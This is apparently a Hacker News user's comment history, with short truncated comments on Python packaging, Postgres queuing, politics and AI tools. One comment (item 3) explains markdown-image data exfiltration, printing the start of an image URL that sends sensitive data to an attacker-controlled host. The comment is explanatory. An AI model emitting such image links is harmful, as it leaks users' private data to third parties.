adamckay

6 ms·

1.
by adamckay 4mo ago
Calif.io have access to Mythos Preview which they've used to find a macOS kernel memory corruption exploit on Apple M5: https://blog.calif.io/p/first-public-kernel-memory-corruptio... It's probably the right
2.
by adamckay 6mo ago
It takes decades to grow the trees that then absorb the CO2 that is emitted from the burning, and the biomass that Drax burns has been (and still is) imported from Canada from felling old-growth forests (some of which have been estimated to
3.
by adamckay 7mo ago
Your markdown file has an image that links to another server controlled by the attacker and the path/query parameters you're attempting to render contains sensitive data. ![](https://the-attacker.com/steal?pri
4.
by adamckay 1y ago
You can use `/model opusplan` to get that behaviour back though if you do want Opus for planning and Sonnet for editing.
5.
by adamckay 1y ago
If they're your scripts (i.e. your writing/editing them) then you can declare dependencies following the PEP723 format and uv will respect that. https://docs.astral.sh/uv/guides/scripts/#declaring-sc
6.
by adamckay 3y ago
For context, Major Paeta Hess-von Kruedener emailed [1] days before saying that Hezbollah were using his positions and the IDF was being forced to fire on them out of "tactical necessity". This isn't as clear-cut as you'
7.
by adamckay 3y ago
I can imagine soon - within the next year or so - that business emails will simply be AI talking to AI. Especially with Microsoft pushing their copilot into Office and Outlook. You'll need to email someone so you'll fire up Outloo
8.
by adamckay 3y ago
If you want to stick with using `pip` over any of the newer tools that build on top of it (Poetry - my favourite, pdm, pipenv, rye, ...) the simplest way I used in the past was to use a `requirements.human.txt` to set my dependencies, then
9.
by adamckay 3y ago
Doesn't matter in this case. An Xbox was ordered that's classed as a "high value" item so requires a OTP being given to the driver to release the package. The package was hand delivered to the customer when the customer
10.
by adamckay 3y ago
Bugger. Thanks for letting me know (embarrassingly I did load up the PEP page to make sure I remembered the right number but I didn't check its status). Was hoping that it would make things simpler for smaller projects and newbie devel
11.
by adamckay 3y ago
I'm asking for clarification because whilst there's a strong argument that politicians are performing insider trading (which as you say is widely regarded as something that should be stopped), if an amateur can copy those trades a
12.
by adamckay 3y ago
Can you clarify what you mean by "this"? Being able to copy the trades of politicians or politicians making trades that are almost instantly profitable?
13.
by adamckay 3y ago
Poetry is an all-in-one tool that does dependency management using `pyproject.toml` files and its own `poetry.lock` files, as well as package building, virtualenv management, and also has hooks for entrypoints and scripts. It's rather
14.
by adamckay 3y ago
> the attacker obtained a valid administrative session token from _after_ any MFA would've been completed But you can lock session tokens to specific IPs or user agents. I've implemented similar in the past for a B2B admin-pane
15.
by adamckay 3y ago
> In 2018, Airbnb began its migration to a service-oriented architecture, as the Ruby on Rails “monorail” started becoming hard to maintain and was a single point of failure. A monolithic codebase doesn't have to be deployed as a si
16.
by adamckay 3y ago
But how? You would be correct if the ID were an integer being serially increased. I can sign up to your website today and get an ID X and then sign up again in a week and get ID Y, I can then calculate the number of new users you've ha
17.
by adamckay 3y ago
> BUT my problem with this is "where do you draw the line?" Wherever it makes sense for you and your organisation. There's not a list of approved "boring technology" and unapproved "exciting but scary techno
18.
by adamckay 3y ago
But if you're using Postgres as your queuing system because you're already using it as your core database technology for your app, you've got the same issue. If your single Postgres instance is down then your app is, too, and
19.
by adamckay 3y ago
No, I don't think you're missing anything, other than you'd only mount the directories you want the tool / development environment to have access to. Take for instance the `npm` command [1], it mounts `$PWD` so if you in
20.
by adamckay 3y ago
> It's the environment and socialization factors that drive this. Then why is it overwhelmingly this breed that attacking people? We accept that certain breeds have innate instincts and traits - border collies herd, labradors retrie
21.
by adamckay 3y ago
> I'm surprised Google encourages syncing the codes to the cloud... kind of defeats the purpose Probably so when you upgrade/lose your phone you don't otherwise lose your MFA tokens. Yes, you're meant to note down som
22.
by adamckay 3y ago
Using the camera to record video is quite processor intensive, though, and that can cause a good amount of heat build up.
23.
by adamckay 3y ago
tmux. I know the keyboard shortcuts (that I customised) to create new windows and panes, and the shortcut to resize them all equally. I've not bothered to learn / remember the keyboard shortcuts to swap pane focus or resize indivi
24.
by adamckay 3y ago
> People saying you can get 10k req/s from Node.js is stupid. No, it's not, for exactly the reason you state: > You're not actually getting that on say, a single low-end instance over the Internet Some languages are, of
25.
by adamckay 3y ago
> Especially if early/small, who wants to worry about scaling their DB layer unless they have to? If early/small, who wants to worry about putting another piece of infrastructure (RabbitMQ, Redis, etc) in your stack that you ha
26.
by adamckay 3y ago
> It feels like you're asking people to only create Postgres, but SQLite has a perfectly valid use case as well. I don't mean this to be a "well actually" comment, but because I found it interesting when I learnt this
27.
by adamckay 3y ago
It's a bold move to say the product your company sells is total crap, but not unheard of. https://en.wikipedia.org/wiki/Gerald_Ratner#Career
28.
by adamckay 3y ago
> manager/hiring manager that just went "eh he's ok let's give him an offer" When you've got plenty of money in the budget it's not beyond poor managers to hire more for no other reason than to grow the
29.
by adamckay 3y ago
> is a fully RESTful HTML API simply a website that doesn't use any JS? No, I don't think so. Sprinkling a little client side JS can certainly be beneficial and doesn't invalidate it being a RESTful HTML API. _hyperscript
30.
by adamckay 3y ago
You have far too much faith in stupid people.

More ›